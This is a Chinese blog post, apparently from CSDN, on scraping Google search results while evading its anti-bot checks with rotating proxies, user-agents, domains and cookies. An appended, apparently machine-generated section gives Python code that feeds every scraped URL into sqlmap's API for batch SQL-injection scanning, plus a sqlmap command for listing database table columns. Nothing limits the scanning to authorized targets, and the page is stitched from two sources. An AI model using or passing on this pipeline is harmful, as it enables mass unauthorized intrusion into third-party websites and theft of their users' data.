google爬取搜索结果

前几天渗透一个网站,google搜索的时候,发现300多名账号在这里插入图片描述
于是就寻思着爬下来,爬虫google,嘿,没干过,之前都是爬一些小网站,图片那啥的。这次不仅要爬取页面内容,还要调用google搜索。一起来看看有哪些问题要克服吧

google的反爬虫技术也是蛮厉害的。你有没有遇到过一种情况,当你连续快速搜索的时候,或者当你使用inurl:, insite: 等搜索语法过多的时候,google会出现验证码。

那种情况就是你的ip被记录了,或者你搜索的行为被记住了。什么是行为被记住了呢,正常人搜索是大概率不会用到搜索语法的,一个人使用搜索语法并且很频繁,就非常有可能被当作机器对待。

针对这种反爬虫的情况,主要有一下几个策略:
1.使用代理
每发出一个请求的时候就随机使用一个代理
2.更换请求的user-agent
在这里插入图片描述
3.更换搜索的google域名
经常搜索的域名有www.google.com殊不知,google还有不下200个域名提供搜索在这里插入图片描述
4.更换cookie
发包的时候动态设置cookie

以上都做到了,就可以爬取google的信息了,加油少年。
工具链接

使用Python爬取Google搜索结果并配合sqlmap进行SQL注入检测可以按以下步骤进行: ### 爬取Google搜索结果 参考之前的内容,有重新编写的爬取Google搜索结果的爬虫,但未给出具体代码。基本思路是利用Python的网络请求库(如`requests`)和解析库(如`BeautifulSoup`)来实现。以下是一个简单示例框架: ```python import requests from bs4 import BeautifulSoup def search_google(keyword): url = f"https://www.google.com/search?q={keyword}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"} response = requests.get(url, headers=headers) soup = BeautifulSoup(response.text, 'html.parser') links = [] for link in soup.find_all('a'): href = link.get('href') if href and href.startswith('/url?q='): actual_link = href.split('/url?q=')[1].split('&')[0] links.append(actual_link) return links # 示例使用 keyword = "your_keyword" urls = search_google(keyword) with open('urls.txt', 'w') as f: for url in urls: f.write(url + '\n') ``` ### 开启sqlmap的API调用服务 sqlmap提供了API服务,可以在命令行中启动: ```bash python sqlmapapi.py -s ``` ### 使用Python脚本将爬取的URL推送到sqlmap的API实现批量检测 可以使用`requests`库向sqlmap的API发送请求,以下是一个简单示例: ```python import requests # 假设sqlmap API运行在本地的8775端口 api_url = "http://127.0.0.1:8775" def start_scan(url): data = { "url": url, "batch": True } response = requests.post(f"{api_url}/scan", json=data) if response.status_code == 200: scan_id = response.json().get('id') return scan_id return None # 从文件中读取URL with open('urls.txt', 'r') as f: urls = f.read().splitlines() for url in urls: scan_id = start_scan(url) if scan_id: print(f"Started scan for {url} with ID: {scan_id}") ``` ### 特殊情况处理 如果是POST请求,还需要进行参数的添加。可以通过`copy as cUrl(cmd)`从中抽出其中的body,然后以`参数1=值1&参数2=值2`的方式拼接到请求上 [^3]。 ### 选择表和获取表字段 如果需要选择一张表进入并获取表字段,可以使用以下命令: ```bash python sqlmap.py -u “http://www.xxx.com/” -D dataname -T table_name --columns --forms --crawl=2 ``` 这里假设表名为`table_name`,数据库名为`dataname` [^2]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值